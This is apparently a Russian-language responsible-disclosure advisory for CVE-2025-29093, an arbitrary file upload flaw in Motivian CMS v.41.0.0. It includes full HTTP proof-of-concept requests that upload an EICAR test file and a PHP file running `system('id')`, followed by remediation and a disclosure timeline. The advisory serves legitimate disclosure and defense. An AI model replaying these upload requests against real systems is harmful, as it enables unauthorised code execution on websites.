CVE-2025-29093-Arbitrary-File-Upload

Этот репозиторий раскрывает уязвимость безопасности, обнаруженную в Motivian Content Management System v.41.0.0.

• CVE-2025-29093: Произвольная загрузка файлов

Эта уязвимость была сообщена вендору в соответствии с практиками ответственного раскрытия, а также в MITRE, который присвоил временный CVE ID. Детали публикуются после истечения 45-дневного периода раскрытия.

Общая информация

• Название: Motivian: произвольная загрузка файлов
• Тип уязвимости: Произвольная загрузка файлов
• Производитель: Motivian
• Продукт: Motivian Content Management System
• Затронутая версия: Motivian CMS v.41.0.0
• Затронутый компонент: Content/Gallery/Images
• Вектор атаки: Удаленный
• Воздействие: Вредоносная произвольная загрузка файлов
• Серьезность: Средняя
• CVSSv3 score: 6.5
• CVSSv3 vector: CVSS:3.1:AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
• Серьезность по CISA-ADP: Высокая
• CVSSv3 score by CISA-ADP: 8.2
• CVSSv3 vector by CISA-ADP: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
• Обнаружено: 2025-02-03
• Автор: Francesco Marcuccio
• Статус: Сообщено вендору 7 апреля 2025 г. — Ответ/исправление не получено до 22 мая 2025 г.

Описание

Уязвимость загрузки файлов в Motivian Content Management System v.41.0.0 позволяет удаленному злоумышленнику загружать произвольные файлы с подделанными расширениями (например, .php, .png, .txt), содержащими вредоносный код, через компонент Content/Gallery/Images.

Доказательство концепции

Уязвимость может быть использована путем загрузки файлов с различными расширениями. Для демонстрации были использованы два доказательства концепции: одно с файлом .php, содержащим вредоносный код, и другое с файлом .txt с тестовой строкой EICAR. Оба файла были загружены через компонент Content/Gallery/Images.

Ниже представлена полная расшифровка HTTP-запросов и ответов, использованных для демонстрации проблемы:

Burp Request EICAR

POST /portal/admin/cms/browseManageCmsResources!uploadFile.action HTTP/1.1
Host: [REDACTED]
Content-Length: 808
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2oYL3KVZBlAQmYAA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [REDACTED]
Connection: close

------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="resFolderId"

-8
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="allowedExtensions"


------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="hidePageComponents"

false
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="struts.token.name"

token
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="token"

M53N7SE0QE1Z4MZV4BRV59QW3TSEZ962
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="uploadResource"; filename="eicar.txt"
Content-Type: text/plain

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
------WebKitFormBoundary2oYL3KVZBlAQmYAA--

Burp Request PHP

POST /portal/admin/cms/browseManageCmsResources!uploadFile.action HTTP/1.1
Host: [REDACTED]
Content-Length: 789
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLdWSMj4ASbAC9uOz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [REDACTED]
Connection: close

------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="resFolderId"

304802
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="allowedExtensions"


------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="hidePageComponents"

false
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="struts.token.name"

token
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="token"

77PMJUJH5ZAQTPWRG5TQCLIOR9CUBK0M
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="uploadResource"; filename="test.php5"
Content-Type: application/octet-stream

<?php 
echo system('id'); 
?>
------WebKitFormBoundaryLdWSMj4ASbAC9uOz--

Burp Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 06 Feb 2025 10:26:29 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: it-IT
Content-Length: 16729

Устранение

Не разрешайте пользователям загружать произвольные файлы. Внедрите строгую проверку файлов (проверка MIME-типа и содержимого), рандомизируйте имена файлов и ограничьте каталоги загрузки.

График раскрытия

Дата	Действие
2025-02-06	Запрос CVE ID (CNA: MITRE)
2025-04-02	Назначение CVE ID
2025-04-07	Уязвимости сообщены вендору
2025-05-31	Публичное раскрытие после истечения 45-дневного периода раскрытия (всего 54 дня)
2025-06-04	Официальная регистрация и внесение в базу данных MITRE и портал NIST/NVD

Авторство

• Обнаружено и ответственно раскрыто:
  Francesco Marcuccio
  Консультант по кибербезопасности, специалист по тестированию на проникновение

• В MITRE автор раскрытия указан как:
  Francesco Marcuccio
  Консультант по кибербезопасности, специалист по тестированию на проникновение

Ссылки

Ссылки для справки: MITRE NIST

Статус

Этот CVE ID официально находится в статусе PUBLISHED. Он будет обновлен с оценкой CVSS от NIST после анализа.